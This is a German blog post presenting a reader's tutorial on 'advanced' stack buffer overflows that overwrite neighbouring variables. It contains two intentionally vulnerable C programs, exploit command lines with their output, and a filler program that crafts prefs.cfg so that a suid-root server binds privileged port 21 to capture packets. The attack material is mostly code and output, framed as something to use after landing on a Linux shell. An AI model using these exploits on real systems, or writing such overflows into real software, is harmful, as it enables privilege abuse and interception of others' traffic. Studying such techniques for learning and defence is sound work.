Advanced Stack-Bufferoverflows

Eine Art “Tutorial”, welches ich von “frechdachs1337” zugesandt bekommen habe. Ganz nuetzlich, mag es euch daher nicht vorenthalten ­čśë

tutorial[0] – Einleitung

Dieses Tutorial behandelt die Problematik von dem begrenzten ├ťberschreiben von Variablen.

Jeder kennt die 0815 Overflows wie: strcpy(text, argv[1]) ….. LANGWEILIG!
Doch was bleibt uns ├╝berrig wenn man zwar aus dem Speicherbereich der
urspr├╝nglichen Variable “ausbrechen” kann aber nicht bis zur RET kommt sondern
nur andere Variablen die im weiteren Programmablauf genutzt werden
├╝berschreiben kann, ja dann muss man kreativ werden!

tutorial[1] – Praktische Erkl├Ąrung anhand eines komplett beknackten Beispiels ;D

  #include <stdio.h>
  #include <string.h>
  #include <unistd.h>
 
  int main (int argc, char **argv){
  	char h [] = "/bin/uname";
  	char text[100];
 
  	if(argc > 1)
  		strncpy(text, argv[1], 110);
  	printf("%s\n", h);
  	execl (h,h, (char *)0);
  	return 0;
  }

Hier ist es ganz offensichtlich: Wir k├Ânnen h mit 10 Bytes ├╝berschreiben.
h wird im nachhinein als Argument f├╝r execl benutz was f├╝r uns a├╝├čerst
attraktiv ist. Hier ein kleiner und selbsterkl├Ąrender Exploit-Log:

  ./test `perl -e 'printf "a"x110'`

aaaaaaaaaa

  ./test `perl -e 'printf "a"x100 . "/bin/ls\x00"'`

[LIST DIRECTORY EXECUTED]

Somit konnten wir das ├ťberschreiben von unseren programmeigenen Variablen
erfolgreich auszunutzen.

tutorial[2] – Praktische Erkl├Ąrung anhand eines komplett beknackten und
umfangreicherem Beispiel ;D

Folgendes Szenario: Wir sind auf einer Linux user-shell gelandet.
Wir haben keine Root Rechte finden allerdings ein suid-root Programm
+ Quellcode.

  #include <stdio.h>
  #include <string.h>
  #include <stdlib.h>
  #include <sys/types.h>
  #include <sys/socket.h>
  #include <netinet/in.h>
  #include <arpa/inet.h>
  #include <strings.h>
 
  int main(int argc, char **argv) {
  	int s,c, i;
  	socklen_t addr_len;
  	struct sockaddr_in addr;
  	char file_line[60];
  	char recvb[1024];
  	s = socket(AF_INET, SOCK_STREAM, 0);
  	if(atoi(argv[1]) < 1024)
  		return 1338;
  	addr.sin_addr.s_addr = INADDR_ANY;
  	addr.sin_port = htons(atoi(argv[1]));
  	addr.sin_family = AF_INET;
 
  	FILE *fp = fopen("prefs.cfg", "r");
  	for(i = 0; i < 65; i++)
  		file_line[i] = getc(fp);
  	fclose(fp);
 
  	bind(s, (struct sockaddr*)&addr, sizeof(addr));
 
  	listen(s, 3);
 
  	addr_len = sizeof(addr);
  	for(;;){
  		c = accept(s, (struct sockaddr*)&addr, &addr_len);
  		recv(c, recvb, sizeof(recvb), 0);
  		printf("%s\n", recvb);
  		close(c);
  	}
  	close(s);
  	return 0;
  }

Wie der Linuxgelehrte Leser sicher wei├č, darf nur der Rootuser auf den Ports die
kleiner sind als 1024 lauschen. Dies wollen wir umgehen und mit unserem
Programm Packete ergaunern die auf sch├╝tzenswerten Ports geschickt werden.
Wer das Programm selbst Exploiten m├Âchten sollte hier aufh├Âren zu lesen,
viel Gl├╝ck!

F├╝r alle anderen Schwachmaten:

  ....
  struct sockaddr_in addr;
  char file_line[60];
  ....
  FILE *fp = fopen("prefs.cfg", "r");
  for(i = 0; i < ---->65<-----; i++)
  		file_line[i] = getc(fp);
  fclose(fp);

Klingelts? Wir k├Ânnen die ersten vier Bytes von sockaddr_in addr ├╝berschreiben
indem wir die Datei prefs.cfg mit 65 Bytes f├╝llen (Wir k├Ânnen gottseidank Nullbytes
verwenden).
Was n├╝tzt uns das?

  ...
  addr.sin_addr.s_addr = INADDR_ANY;
	--->>addr.sin_port = htons(atoi(argv[1]));
	addr.sin_family = AF_INET;
  ...

In addr stehen alle wichtigen Daten zur Verbindung f├╝r den Server.
Somit auch der Port! Nun m├╝ssen wir herausfinden wie diese vier Bytes
aussehen wenn wir z.b auf Port 21 lauschen wollen.
Dazu schreiben wir uns ein kleines Hilfprogramm welches wir Lokal ausf├╝hren:

  #include <string.h>
  #include <stdio.h>
  #include <sys/types.h>
  #include <sys/socket.h>
  #include <netinet/in.h>
  #include <arpa/inet.h>
  int main () {
  	struct sockaddr_in addr;
  	memset(&addr, 0x0, sizeof(addr));
  	addr.sin_addr.s_addr = INADDR_ANY;
  	addr.sin_port = htons(21);
  	addr.sin_family = AF_INET;
  	printf("%x\n", addr);
  	return 0;
  }

Dies gibt aus: 0x15000002
Das bedeutet: 0x1500 = R├╝ckgabe von htons()
0x00 = Irgendwie zwingend vielleicht noch ein anderer Sinn.
0x02 = Die sin_family.

Somit brauchen wir uns nur noch ein Programm schreiben was uns die
pref.cfg entsprechend f├╝llt und unser Victim starten.

  #include <stdio.h>
  #include <string.h>
 
  int main (){
  	char buffer[66];
  	memset(buffer, 'a', 64);
    buffer[60] = 0x02;
  	buffer[61] = 0x00;
  	buffer[62] = 0x00;
  	buffer[63] = 0x15;
  	FILE *fp = fopen("prefs.cfg", "w");
  	int i;
  	for(i = 0; i < 65; i++)
  		putc(buffer[i], fp);
  	fclose(fp);
  }

Hier unser finaler Log:

  ./filler
  ./victim 5555
  [PACKETE AUF PORT 21]

Ich hoffe dieser wichtige Abschnitt war a├╝├čerst verst├Ąndlich.

tutorial[3] – Nachwort

Ich verzichte.

3 Replies to “Advanced Stack-Bufferoverflows”

Leave a Reply

Your email address will not be published.